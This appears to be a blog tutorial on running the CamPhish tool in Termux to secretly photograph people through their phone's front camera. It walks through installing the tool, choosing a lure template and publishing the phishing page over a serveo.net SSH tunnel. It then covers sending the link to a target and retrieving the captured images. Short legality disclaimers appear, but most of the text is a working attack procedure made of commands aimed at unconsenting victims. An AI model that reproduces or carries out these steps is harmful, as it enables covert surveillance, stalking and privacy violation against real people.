Welcome to our easy guide on using CamPhish with Termux to access a phone's front camera. In this tutorial, we will show you how to set up Termux, carry out the attack, and handle the data you collect.
CamPhish is a strong tool for phishing attacks, and when used with Termux a useful app for Android you can test security on mobile devices. This guide is for anyone interested in cybersecurity, whether you are a beginner or more experienced.
Please remember that this guide is for learning only. It is illegal and wrong to access devices or data without permission. Always get clear approval before doing any security testing.
In this guide, you will learn how to install Termux, set up CamPhish, and use Serveo.net to access a phone's front camera from afar. We will explain each step clearly to help you understand and do the process well.
Setting Up Termux
Before running CamPhish, you need to install Termux and update its packages.
1. Install Termux
If you haven’t installed Termux yet, download it from:
Avoid downloading Termux from the Play Store, as it is no longer maintained there.
2. Update Termux
After installation, open Termux and update it and install necessary repositories by entering the following commands:
pkg update && pkg upgrade -y
pkg install root-repo unstable-repo x11-repo wget -y
termux-setup-storageThis ensures your Termux environment is up-to-date and has access to necessary repositories.
Installing Required Tools
Now, you need to install the dependencies required for CamPhish to work properly.
1. Install PHP
CamPhish requires PHP to run. Install it using:
pkg install php -y2. Install Git
Since CamPhish is hosted on GitHub, you need Git to download it. Install Git with:
pkg install git -y3. Clone the CamPhish Repository
Now, download CamPhish from GitHub using:
git clone https://github.com/techchipnet/CamPhish.gitOnce downloaded, navigate to the CamPhish directory:
cd CamPhishMake the script executable:
chmod +x camphish.shRunning CamPhish with Serveo.net
Now that CamPhish is installed, follow these steps to start a phishing campaign using Serveo.net.
1. Launch CamPhish
./camphish.sh
2. Choose Tunnel Server
CamPhish will prompt you to select a tunneling service. Choose option 2 for Serveo.net.
3. Choose a Phishing Template
CamPhish provides different phishing templates. Choose
option 1 (Festival Wishing).
4. Enter Target's Name
You will be asked to enter a festival name, which will be displayed on the phishing page. You can enter anything that might attract the target.
5. Skip the Subdomain Option
When asked, Choose subdomain? (Default: [Y/n]), type n and hit enter.
6. Handling Serveo.net Errors
Sometimes, Serveo.net may not generate a public link automatically. If you encounter an error, look for this message in Termux:
This means the phishing page is active locally, but it is not yet accessible to external devices.
Manually Creating a Serveo.net Tunnel
1. Open a New Termux Session
Swipe from the left edge of your screen in Termux and open a new session.
2. Enter the SSH Command
ssh -R 80:localhost:3333 serveo.net
For the first-time connection, you will see this message:
Type yes and hit enter.
3. Get the Phishing Link
After establishing the SSH tunnel, Serveo.net will generate a link like this:
Forwarding HTTP traffic from https://1d4f18963c2ef8149e24d35cbfdc62da.serveo.net
This is the link you need to share with your target.
Executing the Phishing Attack
1. Send the Link to the Target
Share the Serveo.net link with the target through email, social media, or other messaging platforms.
2. Capture Front Camera Images
When the target opens the link, they will be asked to grant camera access.
If they allow it, CamPhish will capture images from their front camera and store them in the Termux directory.
3. Stop the Process
To stop CamPhish, press Ctrl + C in Termux.
Managing Captured Data
1. Move to the Home Directory
cd ~
2. Copy the CamPhish Folder to Internal Storage
cp -r CamPhish /sdcard
Now, go to your File Manager and look for a folder named CamPhish.
Inside CamPhish folder, you will find the captured images.
Ethical Considerations
Understanding how phishing attacks work is crucial for cybersecurity awareness. However, using these techniques maliciously is illegal and unethical. Here are some key points to remember:
- Never use phishing to harm others. This guide is for learning how attackers operate so you can protect yourself.
- Always get consent before testing security. Unauthorized access to devices can lead to legal consequences.
- Educate others about phishing threats. Help people recognize phishing scams and avoid falling victim to them.
Conclusion
In this guide, we explored how to use CamPhish with Serveo.net to create a phishing link in Termux. We covered:
- Installing Termux and required tools
- Cloning and running CamPhish
- Setting up an SSH tunnel with Serveo.net
- Sending phishing links and capturing camera data
